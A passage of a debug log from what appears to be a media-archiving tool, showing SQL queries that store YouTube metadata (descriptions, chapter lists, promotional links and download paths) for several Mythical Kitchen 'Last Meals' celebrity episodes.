https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Jennette's Last Meal\n0:22 The Face Of The Great Depression\n2:00 How Often Do You Think About Your Last Meal?\n4:03 1st Course\n6:12 How Jennette Writes About Food\n10:41 How Will I Know What I Think Until I See What I Say?\n12:01 The Hunt For Matcha\n14:39 An Addiction Novel\n17:34 2nd Course\n20:36 Food Linked To Trauma Memories\n28:34 Codependence vs. Independence\n29:44 The Americana\n32:21 3rd Course\n33:33 Girl Math & Disordered Eating\n34:57 Writing/Directing A Feature\n37:40 A Second-Rate Mormon\n40:26 Rage & Anger\n44:46 Feeling Power & Freedom By Writing\n45:36 Stop Using Busy Excuses\n47:41 4th Course\n48:52 Executive Producing for I'm Glad My Mom Died\n50:35 The Values Jennette Lives By\n52:09 Wild Expectations\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n59:54 Jennette's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Jennette McCurdy Eats Her Last Meal", "65a193f5-8aeb-45f8-a29f-d124e754f49a", "https://www.youtube.com/watch?v=rX5WCm0_flI", false, "rX5WCm0_flI", 3623, false, 86, "/downloads/Last Meals/2026-01-29 Jennette McCurdy Eats Her Last Meal/Jennette McCurdy Eats Her Last Meal [rX5WCm0_flI].mp4", false, false, 1, [], 1, ~U[2026-01-29 11:01:28Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today Jennette McCurdy eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Jennette's Last Meal\n0:22 The Face Of The Great Depression\n2:00 How Often Do You Think About Your Last Meal?\n4:03 1st Course\n6:12 How Jennette Writes About Food\n10:41 How Will I Know What I Think Until I See What I Say?\n12:01 The Hunt For Matcha\n14:39 An Addiction Novel\n17:34 2nd Course\n20:36 Food Linked To Trauma Memories\n28:34 Codependence vs. Independence\n29:44 The Americana\n32:21 3rd Course\n33:33 Girl Math & Disordered Eating\n34:57 Writing/Directing A Feature\n37:40 A Second-Rate Mormon\n40:26 Rage & Anger\n44:46 Feeling Power & Freedom By Writing\n45:36 Stop Using Busy Excuses\n47:41 4th Course\n48:52 Executive Producing for I'm Glad My Mom Died\n50:35 The Values Jennette Lives By\n52:09 Wild Expectations\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n59:54 Jennette's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Jennette McCurdy Eats Her Last Meal", "https://www.youtube.com/watch?v=rX5WCm0_flI", "rX5WCm0_flI", 3623, false, "/downloads/Last Meals/2026-01-29 Jennette McCurdy Eats Her Last Meal/Jennette McCurdy Eats Her Last Meal [rX5WCm0_flI].mp4", false, 1, ~U[2026-01-29 11:01:28Z]] 20:49:32.369 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.369 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 11:00:12Z], 1] 20:49:32.369 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Macaulay Culkin eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nSAVE BIG on all things Mythical during 12/12 - 12/26! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Macaulay's Last Meal\n0:24 The Half Star Frogsplat\n2:25 How Often Do You Think About Death?\n3:06 1st Course\n4:20 Stealing Spoons\n6:36 Growing Up With 6 Siblings\n8:26 Wanting To Be Normal\n9:30 Home Alone = Castaway\n11:00 Being A Whale Shark\n13:33 Manifesting Fallout 2\n14:33 2nd Course\n16:23 \"I Knew if I Did This You Would Come\"\n17:49 London Tipton & Kevin\n19:47 35 Years Of Home Alone\n22:12 Junior\n23:46 3rd Course\n23:47 LA vs. NY Food\n26:39 Eric Andre Wants To Get Arrested\n28:08 Meeting Brenda\n33:18 4th Course\n33:52 Proud Of Keiran\n35:02 Love For Family\n36:19 Breaking Generational Cycles\n38:43 Bucket List Pie Eating Contest\n39:42 Lightning Round\n41:15 Mac's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Macaulay Culkin Eats His Last Meal", "7b44addd-4fb4-44e3-82d5-bb745f5ee1fd", "https://www.youtube.com/watch?v=3JLmNRBi5GU", false, "3JLmNRBi5GU", 2513, false, 87, "/downloads/Last Meals/2025-12-16 Macaulay Culkin Eats His Last Meal/Macaulay Culkin Eats His Last Meal [3JLmNRBi5GU].mp4", false, false, 1, [], 1, ~U[2025-12-16 11:00:12Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Macaulay Culkin eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nSAVE BIG on all things Mythical during 12/12 - 12/26! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Macaulay's Last Meal\n0:24 The Half Star Frogsplat\n2:25 How Often Do You Think About Death?\n3:06 1st Course\n4:20 Stealing Spoons\n6:36 Growing Up With 6 Siblings\n8:26 Wanting To Be Normal\n9:30 Home Alone = Castaway\n11:00 Being A Whale Shark\n13:33 Manifesting Fallout 2\n14:33 2nd Course\n16:23 \"I Knew if I Did This You Would Come\"\n17:49 London Tipton & Kevin\n19:47 35 Years Of Home Alone\n22:12 Junior\n23:46 3rd Course\n23:47 LA vs. NY Food\n26:39 Eric Andre Wants To Get Arrested\n28:08 Meeting Brenda\n33:18 4th Course\n33:52 Proud Of Keiran\n35:02 Love For Family\n36:19 Breaking Generational Cycles\n38:43 Bucket List Pie Eating Contest\n39:42 Lightning Round\n41:15 Mac's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Macaulay Culkin Eats His Last Meal", "https://www.youtube.com/watch?v=3JLmNRBi5GU", "3JLmNRBi5GU", 2513, false, "/downloads/Last Meals/2025-12-16 Macaulay Culkin Eats His Last Meal/Macaulay Culkin Eats His Last Meal [3JLmNRBi5GU].mp4", false, 1, ~U[2025-12-16 11:00:12Z]] 20:49:32.370 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.370 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 10:00:38Z], 1] 20:49:32.371 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Gabriel Iglesias's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Gabriel Iglesias Eats His Last Meal", "4f2abc79-b536-4bcb-8b56-d0d0aeaffb78", "https://www.youtube.com/watch?v=isED-J6FRI0", false, "isED-J6FRI0", 1883, false, 88, "/downloads/Last Meals/2023-07-06 Gabriel Iglesias Eats His Last Meal/Gabriel Iglesias Eats His Last Meal [isED-J6FRI0].mp4", false, false, 1, [], 1, ~U[2023-07-06 10:00:38Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Gabriel Iglesias's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Gabriel Iglesias Eats His Last Meal", "https://www.youtube.com/watch?v=isED-J6FRI0", "isED-J6FRI0", 1883, false, "/downloads/Last Meals/2023-07-06 Gabriel Iglesias Eats His Last Meal/Gabriel Iglesias Eats His Last Meal [isED-J6FRI0].mp4", false, 1, ~U[2023-07-06 10:00:38Z]] 20:49:32.371 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.371 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-07 11:00:04Z], 1] 20:49:32.372 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mike Shinoda eats his last meal.\n\n0:00 Mike's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n2:28 How Often Do You Think About Death\n3:33 Reflect Vs. Distract\n4:29 1st Course\n6:19 Food Analogies In Linkin Park's Music\n7:28 From Zero\n10:12 A Blue Rapping Smurf\n13:11 Almost Getting Kicked Out Of The Band\n14:47 Being The Glue\n16:36 2nd Course\n18:42 Signing A Baby In Malaysia\n20:08 The Story Behind Kenji\n26:24 Floating Monks\n26:55 3rd Course\n27:50 Stop Gatekeeping Recipes\n28:33 Choosing Emily\n29:56 Chester's Celebration Of Life\n33:01 The Impact Of Linkin Park\n34:09 What Do You Think Happens When You Die?\n36:18 Lightning Round\n38:00 Mike's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Linkin Park's Mike Shinoda Eats His Last Meal", "56b6488b-8ad3-4515-827f-78c086008922", "https://www.youtube.com/watch?v=1I8LiVAyYVg", false, "1I8LiVAyYVg", 2365, false, 89, "/downloads/Last Meals/2025-01-07 Linkin Park's Mike Shinoda Eats His Last Meal/Linkin Park's Mike Shinoda Eats His Last Meal [1I8LiVAyYVg].mp4", false, false, 1, [], 1, ~U[2025-01-07 11:00:04Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Mike Shinoda eats his last meal.\n\n0:00 Mike's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n2:28 How Often Do You Think About Death\n3:33 Reflect Vs. Distract\n4:29 1st Course\n6:19 Food Analogies In Linkin Park's Music\n7:28 From Zero\n10:12 A Blue Rapping Smurf\n13:11 Almost Getting Kicked Out Of The Band\n14:47 Being The Glue\n16:36 2nd Course\n18:42 Signing A Baby In Malaysia\n20:08 The Story Behind Kenji\n26:24 Floating Monks\n26:55 3rd Course\n27:50 Stop Gatekeeping Recipes\n28:33 Choosing Emily\n29:56 Chester's Celebration Of Life\n33:01 The Impact Of Linkin Park\n34:09 What Do You Think Happens When You Die?\n36:18 Lightning Round\n38:00 Mike's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: 